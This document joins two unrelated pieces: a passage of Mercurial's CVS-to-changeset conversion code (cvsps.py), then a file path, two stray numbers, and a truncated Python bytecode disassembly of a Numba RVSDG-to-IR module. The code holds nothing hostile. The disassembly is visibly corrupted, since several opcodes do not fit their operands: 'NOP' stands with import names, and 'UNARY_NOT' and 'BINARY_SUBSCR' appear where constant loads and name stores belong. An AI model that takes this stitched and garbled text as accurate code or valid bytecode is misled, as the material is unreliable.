commitid e.commitid = match.group(8) if match.group(9): # cvsnt mergepoint myrev = match.group(10).split(b".") if len(myrev) == 2: # head e.mergepoint = b"HEAD" else: myrev = b".".join(myrev[:-2] + [b"0", myrev[-2]]) branches = [b for b in branchmap if branchmap[b] == myrev] assert len(branches) == 1, b"unknown branch: %s" % e.mergepoint e.mergepoint = branches[0] e.comment = [] state = 7 elif state == 7: m = re_70.match(line) if m: e.branches = [ tuple([int(y) for y in x.strip().split(b".")]) for x in m.group(1).split(b";") ] state = 8 elif re_31.match(line) and re_50.match(peek): state = 5 store = True elif re_32.match(line): state = 0 store = True else: e.comment.append(line) elif state == 8: if re_31.match(line): cpeek = peek if cpeek.endswith(b"\n"): cpeek = cpeek[:-1] if re_50.match(cpeek): state = 5 store = True else: e.comment.append(line) elif re_32.match(line): state = 0 store = True else: e.comment.append(line) if ( store and e.dead and e.revision[-1] == 1 and len(e.comment) == 1 # 1.1 or 1.1.x.1 and file_added_re.match(e.comment[0]) ): ui.debug(b"found synthetic revision in %s: %r\n" % (e.rcs, e.comment[0])) e.synthetic = True if store: store = False e.tags = sorted([scache(x) for x in tags.get(e.revision, [])]) e.comment = scache(b"\n".join(e.comment)) revn = len(e.revision) if revn > 3 and (revn % 2) == 0: e.branch = tags.get(e.revision[:-1], [None])[0] else: e.branch = None branchpoints = set() for branch, revision in branchmap.items(): revparts = tuple([int(i) for i in revision.split(b".")]) if len(revparts) < 2: # bad tags continue if revparts[-2] == 0 and revparts[-1] % 2 == 0: if revparts[:-2] == e.revision: branchpoints.add(branch) elif revparts == (1, 1, 1): # vendor branch if revparts in e.branches: branchpoints.add(branch) e.branchpoints = branchpoints log.append(e) rcsmap[e.rcs.replace(b"/Attic/", b"/")] = e.rcs if len(log) % 100 == 0: ui.status( stringutil.ellipsis(b"%d %s" % (len(log), e.file), 80) + b"\n" ) log.sort(key=lambda x: (x.rcs, x.revision)) versions = {} for e in sorted(oldlog, key=lambda x: (x.rcs, x.revision)): rcs = e.rcs.replace(b"/Attic/", b"/") if rcs in rcsmap: e.rcs = rcsmap[rcs] branch = e.revision[:-1] versions[(e.rcs, branch)] = e.revision for e in log: branch = e.revision[:-1] p = versions.get((e.rcs, branch), None) if p is None: p = e.revision[:-2] e.parent = p versions[(e.rcs, branch)] = e.revision if cache: if log: log.sort(key=lambda x: x.date) if oldlog and oldlog[-1].date >= log[0].date: raise logerror( _( b"log cache overlaps with new log entries," b" re-run without cache." ) ) log = oldlog + log ui.note(_(b"writing cvs log cache %s\n") % cachefile) pickle.dump(log, open(cachefile, b"wb")) else: log = oldlog ui.status(_(b"%d log entries\n") % len(log)) encodings = ui.configlist(b"convert", b"cvsps.logencoding") if encodings: def revstr(r): return b".".join(pycompat.maplist(pycompat.bytestr, r)) for entry in log: comment = entry.comment for e in encodings: try: entry.comment = comment.decode(pycompat.sysstr(e)).encode("utf-8") if ui.debugflag: ui.debug( b"transcoding by %s: %s of %s\n" % (e, revstr(entry.revision), entry.file) ) break except UnicodeDecodeError: pass # try next encoding except LookupError as inst: # unknown encoding, maybe raise error.Abort( pycompat.bytestr(inst), hint=_(b"check convert.cvsps.logencoding configuration"), ) else: raise error.Abort( _(b"no encoding can transcode" b" CVS log message for %s of %s") % (revstr(entry.revision), entry.file), hint=_(b"check convert.cvsps.logencoding configuration"), ) hook.hook(ui, None, b"cvslog", True, log=log) return log class changeset: """Class changeset has the following attributes: .id - integer identifying this changeset (list index) .author - author name as CVS knows it .branch - name of branch this changeset is on, or None .comment - commit message .commitid - CVS commitid or None .date - the commit date as a (time,tz) tuple .entries - list of logentry objects in this changeset .parents - list of one or two parent changesets .tags - list of tags on this changeset .synthetic - from synthetic revision "file ... added on branch ..." .mergepoint- the branch that has been merged from or None .branchpoints- the branches that start at the current entry or empty """ def __init__(self, **entries): self.id = None self.synthetic = False self.__dict__.update(entries) def __repr__(self): items = (b"%s=%r" % (k, self.__dict__[k]) for k in sorted(self.__dict__)) return b"%s(%s)" % (type(self).__name__, b", ".join(items)) def createchangeset(ui, log, fuzz=60, mergefrom=None, mergeto=None): """Convert log into changesets.""" ui.status(_(b"creating changesets\n")) mindate = {} for e in log: if e.commitid: if e.commitid not in mindate: mindate[e.commitid] = e.date else: mindate[e.commitid] = min(e.date, mindate[e.commitid]) log.sort( key=lambda x: ( mindate.get(x.commitid, (-1, 0)), x.commitid or b"", x.comment, x.author, x.branch or b"", x.date, x.branchpoints, ) ) changesets = [] files = set() c = None for i, e in enumerate(log): if not ( c and e.branchpoints == c.branchpoints and ( # cvs commitids (e.commitid is not None and e.commitid == c.commitid) or ( # no commitids, use fuzzy commit detection (e.commitid is None or c.commitid is None) and e.comment == c.comment and e.author == c.author and e.branch == c.branch and ( (c.date[0] + c.date[1]) <= (e.date[0] + e.date[1]) <= (c.date[0] + c.date[1]) + fuzz ) and e.file not in files ) ) ): c = changeset( comment=e.comment, author=e.author, branch=e.branch, date=e.date, entries=[], mergepoint=e.mergepoint, branchpoints=e.branchpoints, commitid=e.commitid, ) changesets.append(c) files = set() if len(changesets) % 100 == 0: t = b"%d %s" % ( len(changesets), pycompat.byterepr(e.comment)[2:-1], ) ui.status(stringutil.ellipsis(t, 80) + b"\n") c.entries.append(e) files.add(e.file) c.date = e.date # changeset date is date of latest commit in it for c in changesets: c.synthetic = len(c.entries) == 1 and c.entries[0].synthetic def entitycompare(l, r): """Mimic cvsps sorting order""" l = l.file.split(b"/") r = r.file.split(b"/") nl = len(l) nr = len(r) n = min(nl, nr) for i in range(n): if i + 1 == nl and nl < nr: return -1 elif i + 1 == nr and nl > nr: return +1 elif l[i] < r[i]: return -1 elif l[i] > r[i]: return +1 return 0 for c in changesets: c.entries.sort(key=functools.cmp_to_key(entitycompare)) odd = set() def cscmp(l, r): d = sum(l.date) - sum(r.date) if d: return d le = {} for e in l.entries: le[e.rcs] = e.revision re = {} for e in r.entries: re[e.rcs] = e.revision d = 0 for e in l.entries: if re.get(e.rcs, None) == e.parent: assert not d d = 1 break for e in r.entries: if le.get(e.rcs, None) == e.parent: if d: odd.add((l, r)) d = -1 break c = lambda x, y: (x > y) - (x < y) if not d: d = c(len(l.entries), len(r.entries)) if not d: d = c([e.file for e in l.entries], [e.file for e in r.entries]) if not d: d = c(len(l.branchpoints), len(r.branchpoints)) return d changesets.sort(key=functools.cmp_to_key(cscmp)) globaltags = {} for c in changesets: for e in c.entries: for tag in e.tags: globaltags[tag] = c for c in changesets: tags = set() for e in c.entries: tags.update(e.tags) c.tags = sorted(tag for tag in tags if globaltags[tag] is c) if mergeto is None: mergeto = rb"{{mergetobranch ([-\w]+)}}" if mergeto: mergeto = re.compile(mergeto) if mergefrom is None: mergefrom = rb"{{mergefrombranch ([-\w]+)}}" if mergefrom: mergefrom = re.compile(mergefrom) versions = {} # changeset index where we saw any particular file version branches = {} # changeset index where we saw a branch n = len(changesets) i = 0 while i < n: c = changesets[i] for f in c.entries: versions[(f.rcs, f.revision)] = i p = None if c.branch in branches: p = branches[c.branch] else: for candidate in range(i): if c.branch not in changesets[candidate].branchpoints: if p is not None: break continue p = candidate c.parents = [] if p is not None: p = changesets[p] while p.synthetic: assert len(p.parents) <= 1, _( b"synthetic changeset cannot have multiple parents" ) if p.parents: p = p.parents[0] else: p = None break if p is not None: c.parents.append(p) if c.mergepoint: if c.mergepoint == b"HEAD": c.mergepoint = None c.parents.append(changesets[branches[c.mergepoint]]) if mergefrom: m = mergefrom.search(c.comment) if m: m = m.group(1) if m == b"HEAD": m = None try: candidate = changesets[branches[m]] except KeyError: ui.warn( _( b"warning: CVS commit message references " b"non-existent branch %r:\n%s\n" ) % (pycompat.bytestr(m), c.comment) ) if m in branches and c.branch != m and not candidate.synthetic: c.parents.append(candidate) if mergeto: m = mergeto.search(c.comment) if m: if m.groups(): m = m.group(1) if m == b"HEAD": m = None else: m = None # if no group found then merge to HEAD if m in branches and c.branch != m: cc = changeset( author=c.author, branch=m, date=c.date, comment=b"convert-repo: CVS merge from branch %s" % c.branch, entries=[], tags=[], parents=[changesets[branches[m]], c], ) changesets.insert(i + 1, cc) branches[m] = i + 1 n += 1 i += 2 continue branches[c.branch] = i i += 1 i = 0 while i < len(changesets): if changesets[i].synthetic: del changesets[i] else: i += 1 for i, c in enumerate(changesets): c.id = i + 1 if odd: for l, r in odd: if l.id is not None and r.id is not None: ui.warn(_(b"changeset %d is both before and after %d\n") % (l.id, r.id)) ui.status(_(b"%d changeset entries\n") % len(changesets)) hook.hook(ui, None, b"cvschangesets", True, changesets=changesets) return changesets def debugcvsps(ui, *args, **opts): """Read CVS rlog for current directory or named path in repository, and convert the log to changesets based on matching commit log entries and dates. """ opts = pycompat.byteskwargs(opts) if opts[b"new_cache"]: cache = b"write" elif opts[b"update_cache"]: cache = b"update" else: cache = None revisions = opts[b"revisions"] try: if args: log = [] for d in args: log += createlog(ui, d, root=opts[b"root"], cache=cache) else: log = createlog(ui, root=opts[b"root"], cache=cache) except logerror as e: ui.write(b"%r\n" % e) return changesets = createchangeset(ui, log, opts[b"fuzz"]) del log off = len(revisions) branches = {} # latest version number in each branch ancestors = {} # parent branch for cs in changesets: if opts[b"ancestors"]: if cs.branch not in branches and cs.parents and cs.parents[0].id: ancestors[cs.branch] = ( changesets[cs.parents[0].id - 1].branch, cs.parents[0].id, ) branches[cs.branch] = cs.id if opts[b"branches"] and (cs.branch or b"HEAD") not in opts[b"branches"]: continue if not off: ui.write(b"---------------------\n") ui.write((b"PatchSet %d \n" % cs.id)) ui.write( (b"Date: %s\n" % dateutil.datestr(cs.date, b"%Y/%m/%d %H:%M:%S %1%2")) ) ui.write((b"Author: %s\n" % cs.author)) ui.write((b"Branch: %s\n" % (cs.branch or b"HEAD"))) ui.write( ( b"Tag%s: %s \n" % ( [b"", b"s"][len(cs.tags) > 1], b",".join(cs.tags) or b"(none)", ) ) ) if cs.branchpoints: ui.writenoi18n( b"Branchpoints: %s \n" % b", ".join(sorted(cs.branchpoints)) ) if opts[b"parents"] and cs.parents: if len(cs.parents) > 1: ui.write( ( b"Parents: %s\n" % (b",".join([(b"%d" % p.id) for p in cs.parents])) ) ) else: ui.write((b"Parent: %d\n" % cs.parents[0].id)) if opts[b"ancestors"]: b = cs.branch r = [] while b: b, c = ancestors[b] r.append(b"%s:%d:%d" % (b or b"HEAD", c, branches[b])) if r: ui.write((b"Ancestors: %s\n" % (b",".join(r)))) ui.writenoi18n(b"Log:\n") ui.write(b"%s\n\n" % cs.comment) ui.writenoi18n(b"Members: \n") for f in cs.entries: fn = f.file if fn.startswith(opts[b"prefix"]): fn = fn[len(opts[b"prefix"]) :] ui.write( b"\t%s:%s->%s%s \n" % ( fn, b".".join([b"%d" % x for x in f.parent]) or b"INITIAL", b".".join([(b"%d" % x) for x in f.revision]), [b"", b"(DEAD)"][f.dead], ) ) ui.write(b"\n") if revisions and off: if revisions[0] == (b"%d" % cs.id) or revisions[0] in cs.tags: off = False if len(revisions) > 1 and not off: if revisions[1] == (b"%d" % cs.id) or revisions[1] in cs.tags: break
data/mercurial-6.6.3/hgext/convert/cvsps.py
15,882
8,998
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LOAD_CONST '\nThis file contains logic to convert RVSDG into Numba IR.\n\nKey APIs:\n- function `run_frontend()`\n- function `rvsdg_to_ir()`\n' STORE_NAME __doc__ LOAD_CONST 0 LOAD_CONST None IMPORT_NAME dis STORE_NAME dis LOAD_CONST 0 LOAD_CONST ('contextmanager',) IMPORT_NAME contextlib IMPORT_FROM contextmanager STORE_NAME contextmanager POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME builtins STORE_NAME builtins LOAD_CONST 0 LOAD_CONST None IMPORT_NAME operator STORE_NAME operator LOAD_CONST 0 LOAD_CONST ('Iterator',) IMPORT_NAME typing IMPORT_FROM Iterator STORE_NAME Iterator POP_TOP LOAD_CONST 0 LOAD_CONST ('reduce',) IMPORT_NAME functools IMPORT_FROM reduce STORE_NAME reduce POP_TOP LOAD_CONST 0 LOAD_CONST ('ir', 'bytecode', 'ir_utils', 'utils') IMPORT_NAME numba.core IMPORT_FROM ir STORE_NAME ir IMPORT_FROM bytecode STORE_NAME bytecode IMPORT_FROM ir_utils STORE_NAME ir_utils IMPORT_FROM utils STORE_NAME utils POP_TOP LOAD_CONST 0 NOP ('BINOPS_TO_OPERATORS', 'INPLACE_BINOPS_TO_OPERATORS') IMPORT_NAME numba.core.utils NOP BINOPS_TO_OPERATORS NOP BINOPS_TO_OPERATORS NOP INPLACE_BINOPS_TO_OPERATORS NOP INPLACE_BINOPS_TO_OPERATORS POP_TOP LOAD_CONST 1 LOAD_CONST ('build_rvsdg', 'SCFG', 'BasicBlock', 'RegionBlock', 'DDGBlock', 'DDGControlVariable', 'DDGBranch', 'DDGRegion', 'Op', 'ValueState', 'DEBUG_GRAPH') IMPORT_NAME rvsdg.bc2rvsdg IMPORT_FROM build_rvsdg STORE_NAME build_rvsdg IMPORT_FROM SCFG STORE_NAME SCFG IMPORT_FROM BasicBlock STORE_NAME BasicBlock IMPORT_FROM RegionBlock STORE_NAME RegionBlock IMPORT_FROM DDGBlock STORE_NAME DDGBlock IMPORT_FROM DDGControlVariable STORE_NAME DDGControlVariable IMPORT_FROM DDGBranch STORE_NAME DDGBranch IMPORT_FROM DDGRegion STORE_NAME DDGRegion IMPORT_FROM Op STORE_NAME Op IMPORT_FROM ValueState STORE_NAME ValueState IMPORT_FROM DEBUG_GRAPH STORE_NAME DEBUG_GRAPH POP_TOP LOAD_CONST 1 LOAD_CONST ('RegionVisitor',) IMPORT_NAME rvsdg.regionpasses IMPORT_FROM RegionVisitor STORE_NAME RegionVisitor POP_TOP LOAD_CONST <code object run_frontend at 0x7fa90e54d780, file "f.py", line 43> LOAD_CONST 'run_frontend' MAKE_FUNCTION STORE_NAME run_frontend LOAD_NAME list LOAD_NAME Op BINARY_SUBSCR LOAD_NAME dis LOAD_ATTR Instruction LOAD_CONST None BINARY_OR LOAD_CONST ('ops', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _get_first_bytecode at 0x7fa90e54d9c0, file "f.py", line 54> LOAD_CONST '_get_first_bytecode' MAKE_FUNCTION STORE_NAME _get_first_bytecode LOAD_NAME RegionBlock LOAD_NAME BasicBlock LOAD_CONST ('blk', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _innermost_exiting at 0x7fa90e54dd20, file "f.py", line 60> LOAD_CONST '_innermost_exiting' MAKE_FUNCTION STORE_NAME _innermost_exiting LOAD_CONST 'var.incoming' LOAD_CONST 'start' BUILD_SET STORE_NAME _noop LOAD_NAME dict LOAD_NAME str LOAD_NAME ir LOAD_ATTR Var BUILD_TUPLE BINARY_SUBSCR STORE_NAME _Data LOAD_BUILD_CLASS LOAD_CONST <code object RVSDG2IR at 0x7faa503bbc00, file "f.py", line 72> LOAD_CONST 'RVSDG2IR' MAKE_FUNCTION LOAD_CONST 'RVSDG2IR' LOAD_NAME RegionVisitor LOAD_NAME _Data BINARY_SUBSCR CALL_FUNCTION STORE_NAME RVSDG2IR LOAD_NAME bytecode LOAD_ATTR FunctionIdentity LOAD_NAME SCFG LOAD_NAME ir LOAD_ATTR FunctionIR LOAD_CONST ('func_id', 'rvsdg', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object rvsdg_to_ir at 0x7faa503bbe40, file "f.py", line 741> LOAD_CONST 'rvsdg_to_ir' MAKE_FUNCTION STORE_NAME rvsdg_to_ir LOAD_CONST None RETURN_VALUE LOAD_GLOBAL utils LOAD_ATTR pySignature LOAD_METHOD from_callable LOAD_FAST func CALL_METHOD STORE_FAST sig LOAD_GLOBAL tuple LOAD_FAST sig LOAD_ATTR parameters CALL_FUNCTION STORE_FAST argnames LOAD_GLOBAL build_rvsdg LOAD_FAST func LOAD_ATTR __code__ LOAD_FAST argnames CALL_FUNCTION STORE_FAST rvsdg LOAD_GLOBAL bytecode LOAD_ATTR FunctionIdentity LOAD_METHOD from_function LOAD_FAST func CALL_METHOD STORE_FAST func_id LOAD_GLOBAL rvsdg_to_ir LOAD_FAST func_id LOAD_FAST rvsdg CALL_FUNCTION STORE_FAST func_ir LOAD_FAST func_ir RETURN_VALUE SETUP_LOOP to 26 LOAD_CONST <code object <genexpr> at 0x7fa90e54d810, file "f.py", line 55> LOAD_CONST '_get_first_bytecode.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST ops GET_ITER CALL_FUNCTION GET_ITER FOR_ITER to 24 STORE_FAST bc LOAD_FAST bc RETURN_VALUE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 26 STORE_FAST op LOAD_FAST op LOAD_ATTR bc_inst LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST op LOAD_ATTR bc_inst YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE SETUP_LOOP to 30 LOAD_GLOBAL isinstance LOAD_FAST blk LOAD_GLOBAL RegionBlock CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST blk LOAD_ATTR subregion LOAD_ATTR graph LOAD_FAST blk LOAD_ATTR exiting BINARY_SUBSCR STORE_FAST blk JUMP_ABSOLUTE POP_BLOCK LOAD_FAST blk RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'RVSDG2IR' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_NAME dict LOAD_NAME int LOAD_NAME ir LOAD_ATTR Block BUILD_TUPLE BINARY_SUBSCR LOAD_NAME __annotations__ LOAD_CONST 'blocks' STORE_SUBSCR LOAD_NAME bytecode LOAD_ATTR FunctionIdentity LOAD_NAME __annotations__ LOAD_CONST 'func_id' STORE_SUBSCR LOAD_NAME ir LOAD_ATTR Scope LOAD_NAME __annotations__ LOAD_CONST 'local_scope' STORE_SUBSCR LOAD_NAME ir LOAD_ATTR Scope LOAD_NAME __annotations__ LOAD_CONST 'global_scope' STORE_SUBSCR LOAD_NAME dict LOAD_NAME ValueState LOAD_NAME ir LOAD_ATTR Var BUILD_TUPLE BINARY_SUBSCR LOAD_NAME __annotations__ LOAD_CONST 'vsmap' STORE_SUBSCR LOAD_NAME ir LOAD_ATTR Block LOAD_CONST None BINARY_OR LOAD_NAME __annotations__ LOAD_CONST '_current_block' STORE_SUBSCR LOAD_NAME int LOAD_CONST None BINARY_OR LOAD_NAME __annotations__ LOAD_CONST 'last_block_label' STORE_SUBSCR LOAD_NAME ir LOAD_ATTR Var LOAD_CONST None BINARY_OR LOAD_NAME __annotations__ LOAD_CONST 'branch_predicate' STORE_SUBSCR LOAD_NAME dict LOAD_NAME str LOAD_NAME int BUILD_TUPLE BINARY_SUBSCR LOAD_NAME __annotations__ LOAD_CONST '_label_map' STORE_SUBSCR LOAD_CONST False STORE_NAME _emit_debug_print LOAD_CONST <code object __init__ at 0x7fa90e54d5d0, file "f.py", line 84> LOAD_CONST 'RVSDG2IR.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME ir LOAD_ATTR Block LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object current_block at 0x7fa90e54d0c0, file "f.py", line 96> LOAD_CONST 'RVSDG2IR.current_block' MAKE_FUNCTION CALL_FUNCTION STORE_NAME current_block LOAD_NAME property LOAD_NAME ir LOAD_ATTR Block LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object last_block at 0x7fa90e54da50, file "f.py", line 102> LOAD_CONST 'RVSDG2IR.last_block' MAKE_FUNCTION CALL_FUNCTION STORE_NAME last_block LOAD_NAME str LOAD_NAME str LOAD_NAME str LOAD_CONST ('varname', 'label', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _get_phi_name at 0x7fa90e54d270, file "f.py", line 107> LOAD_CONST 'RVSDG2IR._get_phi_name' MAKE_FUNCTION STORE_NAME _get_phi_name LOAD_NAME str LOAD_NAME str LOAD_CONST ('cpname', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _get_cp_name at 0x7fa90e54de40, file "f.py", line 111> LOAD_CONST 'RVSDG2IR._get_cp_name' MAKE_FUNCTION STORE_NAME _get_cp_name LOAD_NAME str LOAD_NAME int LOAD_CONST ('label', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object _get_label at 0x7fa90e54d930, file "f.py", line 114> LOAD_CONST 'RVSDG2IR._get_label' MAKE_FUNCTION STORE_NAME _get_label LOAD_NAME int LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object _get_temp_label at 0x7fab80068540, file "f.py", line 118> LOAD_CONST 'RVSDG2IR._get_temp_label' MAKE_FUNCTION STORE_NAME _get_temp_label LOAD_NAME _Data LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object initialize at 0x7fab80162270, file "f.py", line 124> LOAD_CONST 'RVSDG2IR.initialize' MAKE_FUNCTION STORE_NAME initialize LOAD_CONST <code object finalize at 0x7fab801624b0, file "f.py", line 133> LOAD_CONST 'RVSDG2IR.finalize' MAKE_FUNCTION STORE_NAME finalize LOAD_NAME BasicBlock LOAD_NAME _Data LOAD_NAME _Data LOAD_CONST ('block', 'data', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object visit_block at 0x7faa5017f540, file "f.py", line 139> LOAD_CONST 'RVSDG2IR.visit_block' MAKE_FUNCTION STORE_NAME visit_block LOAD_CONST <code object _emit_two_way_switch at 0x7faa5017f150, file "f.py", line 198> LOAD_CONST 'RVSDG2IR._emit_two_way_switch' MAKE_FUNCTION STORE_NAME _emit_two_way_switch LOAD_CONST <code object _emit_n_way_switch at 0x7faa5017fe40, file "f.py", line 216> LOAD_CONST 'RVSDG2IR._emit_n_way_switch' MAKE_FUNCTION STORE_NAME _emit_n_way_switch LOAD_NAME RegionBlock LOAD_NAME _Data LOAD_NAME _Data LOAD_CONST ('region', 'data', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object visit_loop at 0x7faa5017f300, file "f.py", line 301> LOAD_CONST 'RVSDG2IR.visit_loop' MAKE_FUNCTION STORE_NAME visit_loop LOAD_NAME RegionBlock LOAD_NAME _Data LOAD_NAME _Data LOAD_CONST ('region', 'data', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object visit_switch at 0x7faa519c1e40, file "f.py", line 325> LOAD_CONST 'RVSDG2IR.visit_switch' MAKE_FUNCTION STORE_NAME visit_switch LOAD_NAME RegionBlock LOAD_NAME _Data LOAD_NAME _Data LOAD_CONST ('region', 'data', 'return') BUILD_CONST_KEY_MAP LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object visit_linear at 0x7faa519c1c90, file "f.py", line 376> LOAD_CONST 'RVSDG2IR.visit_linear' MAKE_FUNCTION STORE_NAME visit_linear LOAD_NAME contextmanager LOAD_NAME int LOAD_NAME ir LOAD_ATTR Block LOAD_NAME Iterator LOAD_NAME ir LOAD_ATTR Block BINARY_SUBSCR LOAD_CONST ('label', 'block', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object set_block at 0x7faa519c1420, file "f.py", line 384> LOAD_CONST 'RVSDG2IR.set_block' MAKE_FUNCTION CALL_FUNCTION STORE_NAME set_block LOAD_CONST True LOAD_CONST None LOAD_CONST ('redefine', 'block') BUILD_CONST_KEY_MAP LOAD_NAME ir LOAD_ATTR Var LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object store at 0x7faa519c1c00, file "f.py", line 419> LOAD_CONST 'RVSDG2IR.store' MAKE_FUNCTION STORE_NAME store LOAD_CONST <code object store_vsmap at 0x7faa519c1030, file "f.py", line 429> LOAD_CONST 'RVSDG2IR.store_vsmap' MAKE_FUNCTION STORE_NAME store_vsmap LOAD_CONST (None,) LOAD_NAME ir LOAD_ATTR Stmt LOAD_CONST ('stmt',) BUILD_CONST_KEY_MAP LOAD_CONST <code object append at 0x7faa519c14b0, file "f.py", line 432> LOAD_CONST 'RVSDG2IR.append' MAKE_FUNCTION STORE_NAME append LOAD_CONST <code object get_global_value at 0x7faa519c1db0, file "f.py", line 440> LOAD_CONST 'RVSDG2IR.get_global_value' MAKE_FUNCTION STORE_NAME get_global_value LOAD_CONST <code object get_closure_value at 0x7faa519c1270, file "f.py", line 451> LOAD_CONST 'RVSDG2IR.get_closure_value' MAKE_FUNCTION STORE_NAME get_closure_value LOAD_NAME str LOAD_CONST ('msg',) BUILD_CONST_KEY_MAP LOAD_CONST <code object debug_print at 0x7faa519c15d0, file "f.py", line 462> LOAD_CONST 'RVSDG2IR.debug_print' MAKE_FUNCTION STORE_NAME debug_print LOAD_NAME Op LOAD_CONST ('op',) BUILD_CONST_KEY_MAP LOAD_CONST <code object interpret_bytecode at 0x7faa519c1810, file "f.py", line 468> LOAD_CONST 'RVSDG2IR.interpret_bytecode' MAKE_FUNCTION STORE_NAME interpret_bytecode LOAD_NAME Op LOAD_NAME dis LOAD_ATTR Instruction LOAD_CONST ('op', 'bc') BUILD_CONST_KEY_MAP LOAD_CONST <code object op_PUSH_NULL at 0x7faa519c1300, file "f.py", line 501> LOAD_CONST 'RVSDG2IR.op_PUSH_NULL' MAKE_FUNCTION STORE_NAME op_PUSH_NULL LOAD_NAME Op LOAD_NAME dis LOAD_ATTR Instruction LOAD_CONST ('op', 'bc') BUILD_CONST_KEY_MAP LOAD_CONST <code object op_LOAD_CONST at 0x7faa519c1150, file "f.py", line 504> LOAD_CONST 'RVSDG2IR.op_LOAD_CONST' MAKE_FUNCTION STORE_NAME op_LOAD_CONST LOAD_NAME Op LOAD_NAME dis LOAD_ATTR Instruction LOAD_CONST ('op', 'bc') BUILD_CONST_KEY_MAP LOAD_CONST <code object op_LOAD_GLOBAL at 0x7faa519c1f60, file "f.py", line 510> LOAD_CONST 'RVSDG2IR.op_LOAD_GLOBAL' MAKE_FUNCTION STORE_NAME op_LOAD_GLOBAL LOAD_NAME Op LOAD_NAME dis LOAD_ATTR Instruction LOAD_CONST ('op', 'bc') BUILD_CONST_KEY_MAP LOAD_CONST <code object op_LOAD_ATTR at 0x7faa519c1660, file "f.py", line 516> LOAD_CONST 'RVSDG2IR.op_LOAD_ATTR' MAKE_FUNCTION STORE_NAME op_LOAD_ATTR LOAD_NAME Op LOAD_NAME dis LOAD_ATTR Instruction LOAD_CONST ('op', 'bc') BUILD_CONST_KEY_MAP LOAD_CONST <code object op_LOAD_METHOD at 0x7faa519c19c0, file "f.py", line 522> LOAD_CONST 'RVSDG2IR.op_LOAD_METHOD' MAKE_FUNCTION STORE_NAME op_LOAD_METHOD LOAD_NAME Op LOAD_NAME dis LOAD_ATTR Instruction LOAD_CONST ('op', 'bc') BUILD_CONST_KEY_MAP LOAD_CONST <code object op_LOAD_DEREF at 0x7faa519c1390, file "f.py", line 528> LOAD_CONST 'RVSDG2IR.op_LOAD_DEREF' MAKE_FUNCTION STORE_NAME op_LOAD_DEREF LOAD_NAME Op LOAD_NAME dis LOAD_ATTR Instruction LOAD_CONST ('op', 'bc') BUILD_CONST_KEY_MAP LOAD_CONST <code object op_STORE_FAST at 0x7faa519c16f0, file "f.py", line 541> LOAD_CONST 'RVSDG2IR.op_STORE_FAST' MAKE_FUNCTION STORE_NAME op_STORE_FAST LOAD_NAME Op LOAD_NAME dis LOAD_ATTR Instruction LOAD_CONST ('op', 'bc') BUILD_CONST_KEY_MAP LOAD_CONST <code object op_KW_NAMES at 0x7faa519c1a50, file "f.py", line 547> LOAD_CONST 'RVSDG2IR.op_KW_NAMES' MAKE_FUNCTION STORE_NAME op_KW_NAMES LOAD_NAME Op LOAD_NAME dis LOAD_ATTR Instruction LOAD_CONST ('op', 'bc') BUILD_CONST_KEY_MAP LOAD_CONST <code object op_CALL at 0x7faa519c11e0, file "f.py", line 550> LOAD_CONST 'RVSDG2IR.op_CALL' MAKE_FUNCTION STORE_NAME op_CALL LOAD_NAME Op LOAD_NAME dis LOAD_ATTR Instruction LOAD_CONST ('op', 'bc') BUILD_CONST_KEY_MAP LOAD_CONST <code object op_COMPARE_OP at 0x7faa519c1930, file "f.py", line 576> LOAD_CONST 'RVSDG2IR.op_COMPARE_OP' MAKE_FUNCTION STORE_NAME op_COMPARE_OP LOAD_CONST <code object _binop at 0x7fa90e3bdb70, file "f.py", line 586> LOAD_CONST 'RVSDG2IR._binop' MAKE_FUNCTION STORE_NAME _binop LOAD_NAME Op LOAD_NAME dis LOAD_ATTR Instruction LOAD_CONST ('op', 'bc') BUILD_CONST_KEY_MAP LOAD_CONST <code object op_BINARY_OP at 0x7fa90e3bdd20, file "f.py", line 607> LOAD_CONST 'RVSDG2IR.op_BINARY_OP' MAKE_FUNCTION STORE_NAME op_BINARY_OP LOAD_NAME Op LOAD_NAME dis LOAD_ATTR Instruction LOAD_CONST ('op', 'bc') BUILD_CONST_KEY_MAP LOAD_CONST <code object op_IS_OP at 0x7fa90e3bded0, file "f.py", line 610> LOAD_CONST 'RVSDG2IR.op_IS_OP' MAKE_FUNCTION STORE_NAME op_IS_OP LOAD_NAME Op LOAD_NAME dis LOAD_ATTR Instruction LOAD_CONST ('op', 'bc') BUILD_CONST_KEY_MAP UNARY_NOT <code object op_UNARY_NOT at 0x7fa90e3bd930, file "f.py", line 614> UNARY_NOT 'RVSDG2IR.op_UNARY_NOT' MAKE_FUNCTION UNARY_NOT op_UNARY_NOT LOAD_NAME Op LOAD_NAME dis LOAD_ATTR Instruction LOAD_CONST ('op', 'bc') BUILD_CONST_KEY_MAP BINARY_SUBSCR <code object op_BINARY_SUBSCR at 0x7fa90e3bddb0, file "f.py", line 620> BINARY_SUBSCR 'RVSDG2IR.op_BINARY_SUBSCR' MAKE_FUNCTION BINARY_SUBSCR op_BINARY_SUBSCR LOAD_NAME Op LOAD_NAME dis LOAD_ATTR 